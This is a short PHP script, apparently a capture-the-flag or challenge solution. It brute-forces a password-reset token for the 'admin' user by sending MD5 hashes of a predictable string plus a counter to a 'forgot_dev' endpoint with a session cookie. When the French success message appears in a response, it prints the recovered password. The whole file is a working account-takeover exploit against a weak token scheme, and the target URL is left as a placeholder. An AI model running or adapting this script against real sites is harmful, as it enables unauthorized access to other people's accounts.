<?php

for ($x = 1; $x <= 100; $x++) {
        $request = 'http://<url here>/?p=forgot_dev&username=admin&token=';
        $salt = microtime();
        $generated_token = MD5('$salt' . $x);
        $request .= $generated_token;

        $ch = curl_init($request);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array("Cookie: PHPSESSID=..."));
        $out = curl_exec($ch);
        $test = strpos($out, "Votre mot de passe est : ");
        if ($test == true){
                echo "\n\nFOUND YA!\n";
                $findings = explode("Votre mot de passe est : ", $out);
                echo "Your pass: " . explode("</span>", $findings[1])[0];
                echo "\n";
                exit();
        }else{
                echo $generated_token . "\r";
        }
}


?>